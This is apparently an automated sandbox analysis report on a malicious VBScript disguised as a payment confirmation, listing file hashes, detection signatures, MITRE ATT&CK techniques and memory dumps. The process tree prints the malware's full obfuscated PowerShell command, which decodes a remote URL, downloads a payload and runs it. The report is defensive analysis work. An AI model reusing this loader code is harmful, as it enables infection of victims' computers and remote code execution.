208a58c11df2608ba40daf453a31ddd82230357077397f3b2f1a7645e881b232

Analysis

max time kernel
148s
max time network
148s
platform
windows10-2004_x64
resource
win10v2004-20241007-en
resource tags

arch:x64arch:x86image:win10v2004-20241007-enlocale:en-usos:windows10-2004-x64system
submitted
30-11-2024 15:28

Sharing

Copy URL

Twitter E-mail

Report Analysis Logs

General

Target

0702/Payment Confirmation (1).vbs
Size

28KB
MD5

f72a6162ebf2a0efc89edbbff12cf158
SHA1

89d7535775bac5a07d9ae7e76e9b397541c0265b
SHA256

12c916ad80fea271f8d47a0277ce8a8c2090c428adcf2ec538f9f6b6e6d91aea
SHA512

fa906e47822bdeb66e2a46bb3c399e1fad465741b42a21218c3426a23c99ca65f5d48b4847c1a634c9bd660b2003e2d39eb7ddc5b90f2055a6ae36f904be1acc
SSDEEP

384:CVRg/BATSpM+Z2AsC7LnCTyHbrF9MEAJIfP3Od85Gmg:Kg5ATSpMsnBnnCTkbrF+43M8Pg

Score

8^/10

discovery execution

Malware Config

Signatures

Blocklisted process makes network request 7 IoCs

flow	pid	Process
4	1840	WScript.exe
7	2352	powershell.exe
23	2352	powershell.exe
37	2352	powershell.exe
41	2352	powershell.exe
46	2352	powershell.exe
47	2352	powershell.exe

Checks computer location settings 2 TTPs 1 IoCs

Looks up country code configured in the registry, likely geofence.

Query Registry

T1012

System Information Discovery

T1082

description	ioc	Process
Key value queried	\REGISTRY\USER\S-1-5-21-3442511616-637977696-3186306149-1000\Control Panel\International\Geo\Nation	WScript.exe

Command and Scripting Interpreter: PowerShell 1 TTPs 1 IoCs

Using powershell.exe command.

execution

PowerShell

T1059.001

pid	Process
2352	powershell.exe

Network Service Discovery 1 TTPs 1 IoCs

Attempt to gather information on host's network.

discovery

Network Service Discovery

T1046

pid	Process
2352	powershell.exe

Enumerates physical storage devices 1 TTPs
Attempts to interact with connected storage/optical drive(s).

System Information Discovery
T1082

Suspicious behavior: EnumeratesProcesses 2 IoCs

pid	Process
2352	powershell.exe
2352	powershell.exe

Suspicious use of AdjustPrivilegeToken 1 IoCs

description	pid	Process
Token: SeDebugPrivilege	2352	powershell.exe

Suspicious use of WriteProcessMemory 4 IoCs

description	pid	Process	procid_target
PID 1840 wrote to memory of 2352	1840	WScript.exe	82
PID 1840 wrote to memory of 2352	1840	WScript.exe	82
PID 2352 wrote to memory of 4592	2352	powershell.exe	84
PID 2352 wrote to memory of 4592	2352	powershell.exe	84

C:\Windows\System32\WScript.exe
"C:\Windows\System32\WScript.exe" "C:\Users\Admin\AppData\Local\Temp\0702\Payment Confirmation (1).vbs"
1⤵
- Blocklisted process makes network request
- Checks computer location settings
- Suspicious use of WriteProcessMemory
PID:1840
- C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe
  "C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe" "cls;write 'Viljestrk Taxies Datch Unexplosively Unclipper opsadlede Knox Byguerillaernes Dragen Fyrstehoffernes Psocids Thetarytme Dommerklub Antidoted Bacteroides47 Foerstedel Rendzina Definitionsmngderne244 Forngterens Tillgsbetalings Siris Reproducerer Skovfogedblerne Credo Viljestrk Taxies Datch Unexplosively Unclipper opsadlede Knox Byguerillaernes Dragen Fyrstehoffernes Psocids Thetarytme Dommerklub Antidoted Bacteroides47 Foerstedel Rendzina Definitionsmngderne244 Forngterens Tillgsbetalings Siris Reproducerer Skovfogedblerne Credo';If (${host}.CurrentCulture) {$Banderillero++;}Function Mashlin($Corban){$Goosing=$Corban.Length-$Banderillero;$Solubilities180='SUBsTRI';$Solubilities180+='ng';For( $aflvningsmiddels=7;$aflvningsmiddels -lt $Goosing;$aflvningsmiddels+=8){$Viljestrk+=$Corban.$Solubilities180.Invoke( $aflvningsmiddels, $Banderillero);}$Viljestrk;}function Catholicate($Lyncine){ . ($Svinske25) ($Lyncine);}$Sikhens=Mashlin ' RugenbMItalienoKdery,ezBefugteiPh,tololFhovedel.udgerealserund/Koasuta5 Bribeg.Clearhe0Underud Lolansp(kamgavlWMawingriOverfo.n Overp dGnarredoopportuw.ahabeas Preemp Ant nagNEf.erspT Preter Blinde1Utaalmo0Parkeri.Fontina0E rthin; onabso .ortidsWf iktioiG,uppeanNonconc6Aracari4 Abbots;R aensb Trinervx Moni,o6Observ.4 Brepil;Sognefo Cyc,otrH.lautov Lssene:Polyes.1Prkener2 Allahc1jongl,r. Reinco0 Deduct)Gleaned T easurGkautionePoli urc Tpdherk Sukkerocarpopo/Fa litt2Gordyfy0Desilve1 Langpl0Coconsc0Senatus1Parapla0Mercify1 tartb Underb,FOverhrti Religirmodulate Statssf ChieftoBortforxLogfile/ Unclin1Flyttel2Nepotis1Bverr t.Dis ppo0Sammens ';$Sensationer=Mashlin 'SolingkUCell.resSkybrude,nshakerScandal- CentimAp,eoccugParad.ne LimphanEffluent Pla.tp ';$Unclipper=Mashlin ' SkrifthSk.lepat vangsftOverextp Snren :Digebru/ Brugsv/Stenion1sandema0 K mmar3Drikkes.Talioni2Sacr me3General7postco,.V,relag8E,cyoff6elfenbe.Adfrds.2Mijn,ee4Colorif7Semiana/SkrigedDTaksatiaSprogbrg Succ.dustilleveIverensrAgrafedr.ehndige TusindoDeaminatj,nerelyBequotep Atriumi FrownsePushilyrM usehanSarinoseaabentvsNoug,te.CockpitfM,slinglW.istwaakuratel ';$Gesjftigstes=Mashlin '.acemak>Coglori ';$Svinske25=Mashlin ' U,ilisiSundhedeMedmennxPr,stit ';$Bmw='Byguerillaernes';$Anskaffedes = Mashlin 'Isblokke Opht.acMadnesshPryglero Dep le Prevari%H ircapaSuggestpCivilbepFrbaadedGuldfataindm,dstOvergloaFarve.r%Fuldebd\BunddkkRgemmedmePreinven Shi kioIntensiwFo,staanEuroomre.nstrukrA.ylate.Manged S Rds,lsuBuf,erenUdlgger Sterr.t&Barna,t&Usselve WhissleeWrassesc,loweryhInkstonoLi,uori Lys,pritSko are ';Catholicate (Mashlin 'Obs.etr$GasbagggUnpleaslMediat.o ViniesbOutplacaUd ullelPharmac:.aferwohRefu,biaMek.niss.lveaartMe struiSkorstegSvengalhGatedhaeNonfecudkrigsspeSydste.rVariabe=Kontoku(Hallucic Su fitmBlackbudSkresta Undece/VerdenscFarmin, Hordeol$E,rwigsAsnep,ovn Disnums elikatkF,ortenaBahamanfEjerbolf NyligeeChastendSoterioeVirrerusEqui,on) Rigdom ');Catholicate (Mashlin 'telefon$Uncomf gSpoofislHalvfjeosideshabSabiania Soci,llDiverto:Deth,onUGenoplinLivsbeteS.ongilxL,vsfarpDoyzarrlForstuvoHanernesP,ykiatiChar.ervE.ternaeCookedmlm,rdentyF.sions=Residen$ CentraU Brud,un.eshadoc D.wfallUnianguiAlpinisp Grabekp Somm,re,rogenerOmdigtn.Fa vetasVentrikp.obakshlA,veolaiCrojikst Konsta( Brasek$UnderbeGPaaseteeSynapsis.lkenslj ,elegof ChifrytInfraociGen.ancg TribunsUnfussitDiv,rsiesmertinsTypo.ra)Snrlive ');Catholicate (Mashlin 'Blok,lj[Klis erNSnapsefeTapp.mat Reetab.BasiskoS,ormindeExtoll,rKaprifov SstersielektrochomoeopeU prompPpseu,opoPersonaiNonlogin Prema tslippetMStravaia ArbejdnBefriela OrenesgDimercueTyfonsmrBikukul]Estrago:Kanonfo:NavneliSSolkre.eE,travecAgamospuTildragrKortadri Nu,erit TacklyyspriggaPB ikettrChironooDelkoratskae,tgoHistoricMiljre oEcoddamlDispers Landstn=Charpie Loranst[ NewsbeNEnchyleeKurchattRrggent.Balla eSCyanaceeBevidnec dongo uPaperinr .edasci Ac.tyltGiftek,yR,troreP RaymunrElmaal.oAbandontHypnoloo OverarcUtri ulohjernehlMarkedsTIspellcyMonsoonpBali,tieDefendr]Subthri:Syldste:AficionTE captilMurg onsoverhea1 yrefab2Bangalo ');$Unclipper=$Unexplosively[0];$Flourishingly= (Mashlin ' Materi$Kaskadeg odsinlSjl,helo ftersobGun,tigaLonersolSynch,o:SerpentMPu,likueNdringslbarryggoBortratdSpgelsei,induessFejludseReshipm=UomgngeNKoaguleeS.ecifiwLegater-CocoforOUrligtcbReseratjSciaenie bolledcKnobstitOdor.nt TromlebS Aperieyout,abbsAdvantatRyatp,eeLamellamPreexpe. MiddelNn ntheieperistot Shrubl.BundfryWUnobstreNon iscbbrahmanCRegentelMora.doiVlverneeKollagenAnteda,t');$Flourishingly+=$hastigheder[1];Catholicate ($Flourishingly);Catholicate (Mashlin 'lim alk$AfgrdenMSuperpreboolskelhu,rsygo,bessindGringeriZebuernsRis ersetwanaer.IndesneHHundr,de ikseanasubtrakd,aspiste Bi,ephrNonrespsAirplan[Dansemu$KabellgSTolkereeFor undnSkotjsfs.retaniaA.lurintVulcanaiParakeeoCoscetbnUrukueneEphemerrLukewa,]Sp,radi=Magnhi.$chill mSOvercuri Macrurk Reconvh SammeneSkakt kn rigs,ms Noneli ');$Samleskinner=Mashlin 'Myrtilu$AutobioMDe.elopeUdarmerl Anato.o ParlamdtriglyciU,loadusKienanueN.veauo.IndvandDUncoloroSkovbruwindholdnPneuma,lUpthr woOvergana Cotu.adPatientFObje.tiiIfeck.fl Datasee Agency(percept$SidelinUB.learinNicholacPachydelTopiskei rimesypDelftwapErstatneOuteatcrpreflig,C mpute$WilhelmRBarounieRivet ep Brode.rBronchooRielnitd,eallnsuAr,uatecV ldfrte Pe iodr OpmagaeGodtgrerDumbbel)Frerpr ';$Reproducerer=$hastigheder[0];Catholicate (Mashlin 'Santali$TuristagUfologilKlirredoIrretenbRekl,meaGra.erelHotdogg:Velvr sTtrisporhSuddennuIsraelinSmudsbldSolstikrFornyeloParilicuK empess Diaram=Overskr(Komitm TmenusekeFuturabsUnc.mbit Underl-Unf,ozeP Uneffea PhenmitBacktenhUffobru Kar ntn$DrpladeRUsympatePhotomap UnaggrrEna.rigo Reta,ed.iskrimuUtilgngcU,lessue grub.rrKlantereDecayabrS.perim)Mongrel ');while (!$Thundrous) {Catholicate (Mashlin 'Testuds$VilladsgReusserlPar.hypotruantlb DyscraaEfters.lMolenss: FonetiHAustempvCarbarniStted.mdUhygge gToryweeuExitenslMaltrakdBrdekor=Subramo$Ba sangt FikserrNitrateuTalstrkeUnsalva ') ;Catholicate $Samleskinner;Catholicate (Mashlin 'Sto,medSMannosetHaggishaselvflgrHalvpunt Halvto- TilsatSEftestulHje,meleGingerseHeaviespDowerov Luf.hav4Suspect ');Catholicate (Mashlin 'Mo erig$ruberytgUnsavo,l TodkkeoKlunketbP,egrataPippinslTaphane:LithifiTHovedsthFracturuRepri inDays ard BanalirEncycloosyndikauD.rmitisCardais=Flgende(CarnifeTGrandmaeBonbonnsIsogenetTartele-SuccessP alkyriagaa,dejtBulderkhkirking Beguin$Stafe,lREva,oraeStylistpFyresedr arvieaoGastrondE cultuu outcooc sta.ieelehrsmerSkydiveeDiatr pr inolog)Pailowi ') ;Catholicate (Mashlin 'Luftfor$Uptossig Landm lResea,eoFri andbNnsomtgaSurinaml Fjorte:BegivenDPeonageaKlapp,rtFandangcPr,ssiohRes nif=Success$BilinspgDiscut,lKlvere obenc.rebUnderreaKollektl.ormatl:PreimprTRelenteaStantonxUnshameiUngiddyeM rgenlsKl,erru+Miss ur+For.nnv%,apseri$t.rfagsU Sph,ngnAmphisieScolecixJuniorcpU,sortel ykningo anters ReprseiTarnfrhvResidu,eKvind,kl SlimsiyI entif.Couldesc S.acelo Spec ru.ankrolnSa chartSqueezi ') ;$Unclipper=$Unexplosively[$Datch];}$Cafeterieejerne=335771;$Unoccupiedness111=31688;Catholicate (Mashlin 'Greenbo$VideobagMotionsl SoutheopeucitebDialyseaUn.entllHyposta: HomeozDCwtdisrrMglerviaForhaangAffabileFlambeenAfsvedn Kassati=fe ered Retra.sGDiagonaeVanquist Lemmed-ByggesaCPaladseoChaffennBrnefamt Chimerepred.can.eteraktLsehove Skuespi$D.legerRdue ighe ildmanp.fsyrinrAggressoKonfek,dBonbonnu VirilicJ mfruheMecca.br Triumfe AtomisrAmtsraa ');Catholicate (Mashlin 'Hvidsyn$.legnerg Graphol HviledomakrorebUnapp.oaNightc.lRetouch:GennemgER,covera MousinrPhosphotParkinchDisgenisArchiluhMephistiBashingnpreplanePulples Kinkier=Ultramo Teksth[ .halciSKnyttelyRe.oketsGismondtNoelle,eLom espmDess.rt.L ndbruCOmkldnioTalahibn OverspvReorganeRokerinrLegiohat Overby]Puinavi:Decimal:SelectlFNeap,lir fascisoC.mputemGensi iBSammenba eaconsUn.ialbekbspris6 ibatio4tr,lleySUnanimotAalbindrPeltingiGenindkn ges usgBolig.a(Samle,g$Tev ndsDAk.ieavr SurrogaForurengPiaristeSonedeun Connoi) Plasti ');Catholicate (Mashlin 'Nonexec$FadsecogBagsidelS,ymikroB.fjersbSensizeacountywlBrnewor:,rdifasTUnderdih.chateteDeciderttaengeraTestostrSkabertyCardio tBanalismAmativeeForargb Prisstt= Pierce Acryld[PropendS nfacetyskvisnis,carpertResqu.nepa.hetimHi chhi.UdsigtsTMastu,beTripterx ,obilitAmmoc e.Lurer eENrbill nBryskesc Macedoo HerhendDrbtfariUdenomrn Irett gChie.er]Unev.ng:Almisse:OverreaAFort edSjurisdiCRug ginISplitteI,iskuss.UndersaGZooph,te Pe tlytDrni.geSOplandstUnr,vearTraileri ThallonFrserengKollegi( Invent$FramegrEBjlkeh aNiftilyrAlmengrtunstitchSonicats Lyssuvh M lakiiSettimon Licentecoupals)Bullnec ');Catholicate (Mashlin ' S rlig$Mycel ugSucceedldysmerooSemispeb Su picaJosherpl Risq e:N,nguarDDukked aFredninmSiccantpLavemens U.obsekfellaspi.tigmatbDistribsstavelsfChris,io Ud.etarMind tebGramsciiSamlebanGengldtd M.litreLysbil,lFedtsyrs BadutseAgertidrKollektsAgonied=Bubonoc$AkademiTDocentshStudieeeUn hoosta.sishua l,crinrKmperesy S,ineptHusmandmLob teue ermes. GenavnsMes,speu CosmopbSkarpsks Fo niktMarriagr SocialiLaundscnKonsu agSjklera(Beautsi$AftaletCLangluvaVituperf U.paraeMetaportOutsouneRme.glarTeatedbiPuzzledeElectr eCaracoljDebaseseP.stattrOverr snGouverneKizbetj, atakop$ GustavUAfvandrnHavfiskoStu,percElectric Havehuu,ucranepBrdfabriUnem,nceDatidigd Basilin anvis.eBataljes BlazonsObstina1pomegra1kjeldfi1Hypsoph)Forsvrg ');Catholicate $Dampskibsforbindelsers;"
  2⤵
  - Blocklisted process makes network request
  - Command and Scripting Interpreter: PowerShell
  - Network Service Discovery
  - Suspicious behavior: EnumeratesProcesses
  - Suspicious use of AdjustPrivilegeToken
  - Suspicious use of WriteProcessMemory
  PID:2352
- - C:\Windows\system32\cmd.exe
    "C:\Windows\system32\cmd.exe" /c "echo %appdata%\Renowner.Sun && echo t"
    3⤵
    PID:4592

Network

MITRE ATT&CK Enterprise v15

Reconnaissance

Resource Development

Initial Access

Execution

Command and Scripting Interpreter

T1059

PowerShell

T1059.001

Persistence

Privilege Escalation

Defense Evasion

Credential Access

Discovery

Network Service Discovery

T1046

Query Registry

T1012

System Information Discovery

T1082

Lateral Movement

Collection

Command and Control

Exfiltration

Impact

Replay Monitor

Loading Replay Monitor...

Downloads

C:\Users\Admin\AppData\Local\Temp\__PSScriptPolicyTest_4yaemuai.jt0.ps1

Filesize
60B

MD5
d17fe0a3f47be24a6453e9ef58c94641

SHA1
6ab83620379fc69f80c0242105ddffd7d98d5d9d

SHA256
96ad1146eb96877eab5942ae0736b82d8b5e2039a80d3d6932665c1a4c87dcf7

SHA512
5b592e58f26c264604f98f6aa12860758ce606d1c63220736cf0c779e4e18e3cec8706930a16c38b20161754d1017d1657d35258e58ca22b18f5b232880dec82

Download Submit
memory/2352-4-0x00007FFB39E23000-0x00007FFB39E25000-memory.dmp

Filesize
8KB

Download
memory/2352-5-0x000002BFFF490000-0x000002BFFF4B2000-memory.dmp

Filesize
136KB

Download
memory/2352-15-0x00007FFB39E20000-0x00007FFB3A8E1000-memory.dmp

Filesize
10.8MB

Download
memory/2352-16-0x00007FFB39E20000-0x00007FFB3A8E1000-memory.dmp

Filesize
10.8MB

Download
memory/2352-17-0x00007FFB39E23000-0x00007FFB39E25000-memory.dmp

Filesize
8KB

Download
memory/2352-18-0x00007FFB39E20000-0x00007FFB3A8E1000-memory.dmp

Filesize
10.8MB

Download
memory/2352-19-0x00007FFB39E20000-0x00007FFB3A8E1000-memory.dmp

Filesize
10.8MB

Download
memory/2352-20-0x00007FFB39E20000-0x00007FFB3A8E1000-memory.dmp

Filesize
10.8MB

Download